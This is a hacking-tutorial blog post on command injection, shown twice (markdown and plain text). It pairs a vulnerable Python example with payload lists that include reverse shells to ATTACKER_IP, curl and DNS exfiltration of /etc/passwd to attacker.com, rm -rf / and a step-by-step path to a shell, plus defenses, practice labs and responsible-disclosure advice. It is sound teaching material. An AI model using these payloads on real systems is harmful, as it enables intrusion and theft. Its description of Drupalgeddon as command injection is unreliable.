[upl-image-preview uuid=7120f054-82ba-4ab9-810d-8dce9f422fb3 url=https://hacklivly.com/assets/files/2025-03-13/1741851066-932624-command-injection-vulnerability-768x403.jpg alt={TEXT?}] **Hey guys, Rocky here!** 💻💥 Welcome to **Day 10** of the *Daily Web Hacking* series! We’ve covered [directory traversal](https://hacklivly.com/blog/48-web-hacking-series-part-9-directory-traversal-escaping-the-web-root-jail), [authentication bypasses](https://hacklivly.com/blog/46-web-hacking-series-part-8-authentication-bypass), and [file upload vulns](https://hacklivly.com/t/web-security). Today, we’re diving into **Part 10: Command Injection**—the hack that turns innocent web apps into puppets that execute *your* malicious commands on the server. Imagine whispering into a server’s ear and making it dance to your tune. Let’s break it down! --- ### **What is Command Injection?** Command Injection is a vulnerability that allows attackers to **execute arbitrary operating system (OS) commands** on a server by exploiting insecure input handling in web apps. By injecting commands like `; rm -rf /` or `| cat /etc/passwd`, hackers can: * **Steal sensitive data** (passwords, databases). * **Install malware** (ransomware, backdoors). * **Take full control** of the server. **Why it’s terrifying**: * Ranked **#1** in the OWASP Top 10 ([Injection, 2021](https://owasp.org/www-project-top-ten/)). * Found in **23% of web apps** ([Snyk, 2023](https://snyk.io/)). * Often leads to **catastrophic breaches** (e.g., Equifax). --- ### **How Command Injection Works** Web apps sometimes pass user input directly to OS commands. If the input isn’t sanitized, attackers can **trick the app into running unintended commands**. **Example**: A site lets users ping an IP address: ```python import os ip = request.GET.get('ip') os.system(f"ping -c 4 {ip}") # Vulnerable code! ``` An attacker submits `8.8.8.8; cat /etc/passwd`: ```bash ping -c 4 8.8.8.8; cat /etc/passwd # Both commands run! ``` **Result**: The server pings Google’s DNS *and* leaks the user database. --- ### **Types of Command Injection** #### **1. OS Command Injection** * **What**: Directly execute OS commands (e.g., `ls`, `rm`, `curl`). * **Payloads**: ```bash ; whoami # Unix & dir C:\ # Windows | cat /etc/shadow # Pipe output ``` #### **2. Blind Command Injection** * **What**: No direct output, but infer results via delays or side effects. * **Payloads**: ```bash ; sleep 10 # If the response takes 10 seconds, it worked. || ping -c 10 attacker.com # Exfiltrate data via network calls. ``` #### **3. Out-of-Band (OOB) Injection** * **What**: Use external services to leak data. * **Payloads**: ```bash ; curl https://attacker.com?data=$(cat /etc/passwd | base64) ``` #### **4. Time-Based Injection** * **What**: Use command execution time to infer success. * **Payload**: ```bash ; if [ $(id -u) -eq 0 ]; then sleep 10; fi # If root, delay response. ``` --- ### **Command Injection Attack Vectors** #### **1. Web Forms** * **Example**: IP lookup, contact forms, file uploads. * **Payload**: ``` 8.8.8.8; nc -e /bin/bash ATTACKER_IP 4444 # Reverse shell ``` #### **2. HTTP Headers** * **Example**: User-Agent, X-Forwarded-For. * **Payload**: ```http User-Agent: () { :; }; echo 'hacked' > /var/www/html/pwned.txt ``` #### **3. File Uploads** * **Example**: Upload filenames containing commands. ```bash filename="file; rm -rf /" ``` #### **4. API Parameters** * **Example**: REST/GraphQL endpoints passing input to shell commands. ```json { "query": "user; ls -la" } ``` --- ### **Real-World Command Injection Disasters** * **Equifax (2017)**: Exploited Apache Struts vulnerability to execute commands, leaking **147M records**. * **Drupalgeddon (2014)**: Command injection in Drupal led to mass site takeovers. * **Pharma Giant (2020)**: Hackers used command injection to deploy ransomware. **Lesson**: One line of code can cost millions. --- ### **Step-by-Step Exploitation** **Goal**: Gain a reverse shell on a vulnerable server. #### **1. Find a Vulnerable Input** * Look for inputs tied to OS functions (e.g., ping, file uploads). * Example URL: `https://hacklivly.com/ping?ip=8.8.8.8` #### **2. Test for Injection** * Submit `8.8.8.8; whoami`. * If the response includes the server’s user (e.g., `www-data`), it’s vulnerable. #### **3. Launch a Reverse Shell** * **On Attacker Machine**: ```bash nc -lvnp 4444 # Listen for connections ``` * **Inject Payload**: ``` ; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' ``` #### **4. Escalate Privileges** * **Check sudo permissions**: ```bash sudo -l ``` * **Exploit SUID binaries**: ```bash find / -perm -4000 2>/dev/null ``` --- ### **Advanced Command Injection Techniques** #### **1. Chaining Commands** * **Unix**: ```bash ; cmd1 && cmd2 # Run cmd2 if cmd1 succeeds ; cmd1 || cmd2 # Run cmd2 if cmd1 fails ``` * **Windows**: ```powershell & cmd1 | cmd2 # Pipe output ``` #### **2. Environment Variable Abuse** * Inject variables into commands: ```bash ; curl $USER.attacker.com # Leak $USER via DNS ``` #### **3. Encoding Payloads** * **Base64**: ```bash ; echo "bHMgLWxh" | base64 -d | bash # Runs 'ls -la' ``` * **Hex**: ```bash ; echo "68656c6c6f" | xxd -r -p # Decodes to "hello" ``` #### **4. Blind Data Exfiltration** * **DNS Exfiltration**: ```bash ; ping $(cat /etc/passwd | base64).attacker.com ``` * **HTTP Requests**: ```bash ; curl -X POST -d @/etc/passwd https://attacker.com/log ``` --- ### **Tools for Command Injection** #### **1. Burp Suite** * **Repeater**: Test payloads manually. * **Intruder**: Brute-force command arguments. #### **2. Commix** * Automated command injection tool: ```bash commix -u "https://hacklivly.com/ping?ip=INJECT_HERE" ``` #### **3. Metasploit** * Use modules like `exploit/multi/http/struts_code_exec` for known vulns. #### **4. OWASP ZAP** * Automated scanning for injection flaws. --- ### **Defending Against Command Injection** #### **For Developers** 1. **Avoid OS Commands** * Use built-in functions instead of shell commands. * **Bad**: ```python os.system(f"ping {ip}") ``` * **Good**: ```python subprocess.run(["ping", "-c", "4", ip], shell=False) ``` 2. **Input Validation** * Whitelist allowed characters (e.g., only numbers and dots for IPs). * **Python Example**: ```python import re if not re.match(r"^\d+\.\d+\.\d+\.\d+$", ip): raise ValueError("Invalid IP!") ``` 3. **Use Parameterized APIs** * **Safe Libraries**: * **Python**: `shlex.quote()`. * **PHP**: `escapeshellarg()`. 4. **Least Privilege Principle** * Run the app with a low-privilege user (e.g., `www-data`). #### **For Admins** 1. **Web Application Firewall (WAF)** * Block requests with `;`, `&`, `|`, or `$( )`. 2. **Log Monitoring** * Alert on suspicious commands (e.g., `bash`, `curl`, `wget`). 3. **Patch Management** * Update frameworks (e.g., Struts, Drupal) to fix known vulnerabilities. --- ### **Practice Legally: Labs & Challenges** 1. **OWASP Juice Shop**: * Practice command injection in the *Admin Panel* challenge. 2. **PortSwigger Labs**: * Free labs: [Command Injection](https://portswigger.net/web-security/os-command-injection). 3. **Hack The Box**: * Machines like **Lame** (Metasploit) and **Node** (Node.js RCE). --- ### **Ethical Hacking & Reporting** **Never** exploit command injection without permission. If you find a flaw: 1. **Document**: Record steps to reproduce. 2. **Report**: Use the site’s security contact or bug bounty program. 3. **Disclose**: Wait for a fix before sharing publicly. --- ### **What’s Next? Part 11: Server-Side Request Forgery (SSRF)** Tomorrow, we’ll explore **SSRF**—tricking servers into fetching internal resources. Sneak peek: ```http GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1 ``` --- ### **Final Thoughts** Command injection is the ultimate power move in hacking. A single unsanitized input can hand over the keys to the kingdom. But with secure coding practices, input validation, and a paranoid mindset, you can lock this vulnerability down. **Remember**: Every command you *don’t* let attackers run is a breach you prevent. Stay sharp, stay ethical, and keep breaking things (responsibly)! **Rocky signing off!** ✌️ --- **P.S.** If you’re loving this series, share it with your hacking squad! Let’s turn script kiddies into security heroes. **Discussion Question**: What’s the wildest command you’ve ever executed via injection? I once used `curl` to download a **Rickroll** and set it as the server’s MOTD. 😂 Drop your stories below! 👇

Web Hacking Series - Part 10: Command Injection ⚡💀🚀

rocky

Hey guys, Rocky here! 💻💥

Welcome to Day 10 of the Daily Web Hacking series! We’ve covered directory traversal, authentication bypasses, and file upload vulns. Today, we’re diving into Part 10: Command Injection—the hack that turns innocent web apps into puppets that execute your malicious commands on the server. Imagine whispering into a server’s ear and making it dance to your tune. Let’s break it down!

—

What is Command Injection?

Command Injection is a vulnerability that allows attackers to execute arbitrary operating system (OS) commands on a server by exploiting insecure input handling in web apps. By injecting commands like ; rm -rf / or | cat /etc/passwd, hackers can:

Steal sensitive data (passwords, databases).
Install malware (ransomware, backdoors).
Take full control of the server.

Why it’s terrifying:

Ranked #1 in the OWASP Top 10 (Injection, 2021).
Found in 23% of web apps (Snyk, 2023).
Often leads to catastrophic breaches (e.g., Equifax).

—

How Command Injection Works

Web apps sometimes pass user input directly to OS commands. If the input isn’t sanitized, attackers can trick the app into running unintended commands.

Example:
A site lets users ping an IP address:

import os  
ip = request.GET.get('ip')  
os.system(f"ping -c 4 {ip}")  # Vulnerable code!

An attacker submits 8.8.8.8; cat /etc/passwd:

ping -c 4 8.8.8.8; cat /etc/passwd  # Both commands run!

Result: The server pings Google’s DNS and leaks the user database.

—

Types of Command Injection

1. OS Command Injection

What: Directly execute OS commands (e.g., ls, rm, curl).

Payloads:

  ; whoami                 # Unix  
  & dir C:\                # Windows  
  | cat /etc/shadow        # Pipe output

2. Blind Command Injection

What: No direct output, but infer results via delays or side effects.

Payloads:

  ; sleep 10               # If the response takes 10 seconds, it worked.  
  || ping -c 10 attacker.com  # Exfiltrate data via network calls.

3. Out-of-Band (OOB) Injection

What: Use external services to leak data.

Payloads:

  ; curl https://attacker.com?data=$(cat /etc/passwd | base64)

4. Time-Based Injection

What: Use command execution time to infer success.

Payload:

  ; if [ $(id -u) -eq 0 ]; then sleep 10; fi  # If root, delay response.

—

Command Injection Attack Vectors

1. Web Forms

Example: IP lookup, contact forms, file uploads.

Payload:

  8.8.8.8; nc -e /bin/bash ATTACKER_IP 4444  # Reverse shell

2. HTTP Headers

Example: User-Agent, X-Forwarded-For.

Payload:

  User-Agent: () { :; }; echo 'hacked' > /var/www/html/pwned.txt

3. File Uploads

Example: Upload filenames containing commands.

  filename="file; rm -rf /"

4. API Parameters

Example: REST/GraphQL endpoints passing input to shell commands.

  { "query": "user; ls -la" }

—

Real-World Command Injection Disasters

Equifax (2017): Exploited Apache Struts vulnerability to execute commands, leaking 147M records.
Drupalgeddon (2014): Command injection in Drupal led to mass site takeovers.
Pharma Giant (2020): Hackers used command injection to deploy ransomware.

Lesson: One line of code can cost millions.

—

Step-by-Step Exploitation

Goal: Gain a reverse shell on a vulnerable server.

1. Find a Vulnerable Input

Look for inputs tied to OS functions (e.g., ping, file uploads).
Example URL: https://hacklivly.com/ping?ip=8.8.8.8

2. Test for Injection

Submit 8.8.8.8; whoami.
If the response includes the server’s user (e.g., www-data), it’s vulnerable.

3. Launch a Reverse Shell

On Attacker Machine:

  nc -lvnp 4444  # Listen for connections

Inject Payload:

  ; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

4. Escalate Privileges

Check sudo permissions:

  sudo -l

Exploit SUID binaries:

  find / -perm -4000 2>/dev/null

—

Advanced Command Injection Techniques

1. Chaining Commands

Unix:

  ; cmd1 && cmd2   # Run cmd2 if cmd1 succeeds  
  ; cmd1 || cmd2   # Run cmd2 if cmd1 fails

Windows:

  & cmd1 | cmd2    # Pipe output

2. Environment Variable Abuse

Inject variables into commands:

  ; curl $USER.attacker.com  # Leak $USER via DNS

3. Encoding Payloads

Base64:

  ; echo "bHMgLWxh" | base64 -d | bash  # Runs 'ls -la'

Hex:

  ; echo "68656c6c6f" | xxd -r -p  # Decodes to "hello"

4. Blind Data Exfiltration

DNS Exfiltration:

  ; ping $(cat /etc/passwd | base64).attacker.com

HTTP Requests:

  ; curl -X POST -d @/etc/passwd https://attacker.com/log

—

Tools for Command Injection

1. Burp Suite

Repeater: Test payloads manually.
Intruder: Brute-force command arguments.

2. Commix

Automated command injection tool:

  commix -u "https://hacklivly.com/ping?ip=INJECT_HERE"

3. Metasploit

Use modules like exploit/multi/http/struts_code_exec for known vulns.

4. OWASP ZAP

Automated scanning for injection flaws.

—

Defending Against Command Injection

For Developers

Avoid OS Commands

Use built-in functions instead of shell commands.

Bad:

     os.system(f"ping {ip}")

Good:

     subprocess.run(["ping", "-c", "4", ip], shell=False)

Input Validation

Whitelist allowed characters (e.g., only numbers and dots for IPs).

Python Example:

     import re  
     if not re.match(r"^\d+\.\d+\.\d+\.\d+$", ip):  
         raise ValueError("Invalid IP!")

Use Parameterized APIs
- Safe Libraries:
  - Python: shlex.quote().
  - PHP: escapeshellarg().
Least Privilege Principle
- Run the app with a low-privilege user (e.g., www-data).

For Admins

Web Application Firewall (WAF)
- Block requests with ;, &, |, or $( ).
Log Monitoring
- Alert on suspicious commands (e.g., bash, curl, wget).
Patch Management
- Update frameworks (e.g., Struts, Drupal) to fix known vulnerabilities.

—

Practice Legally: Labs & Challenges

OWASP Juice Shop:
- Practice command injection in the Admin Panel challenge.
PortSwigger Labs:
- Free labs: Command Injection.
Hack The Box:
- Machines like Lame (Metasploit) and Node (Node.js RCE).

—

Ethical Hacking & Reporting

Never exploit command injection without permission. If you find a flaw:

Document: Record steps to reproduce.
Report: Use the site’s security contact or bug bounty program.
Disclose: Wait for a fix before sharing publicly.

—

What’s Next? Part 11: Server-Side Request Forgery (SSRF)

Tomorrow, we’ll explore SSRF—tricking servers into fetching internal resources. Sneak peek:

GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

—

Final Thoughts

Command injection is the ultimate power move in hacking. A single unsanitized input can hand over the keys to the kingdom. But with secure coding practices, input validation, and a paranoid mindset, you can lock this vulnerability down.

Remember: Every command you don’t let attackers run is a breach you prevent. Stay sharp, stay ethical, and keep breaking things (responsibly)!

Rocky signing off! ✌️

—

P.S. If you’re loving this series, share it with your hacking squad! Let’s turn script kiddies into security heroes.

Discussion Question: What’s the wildest command you’ve ever executed via injection? I once used curl to download a Rickroll and set it as the server’s MOTD. 😂 Drop your stories below! 👇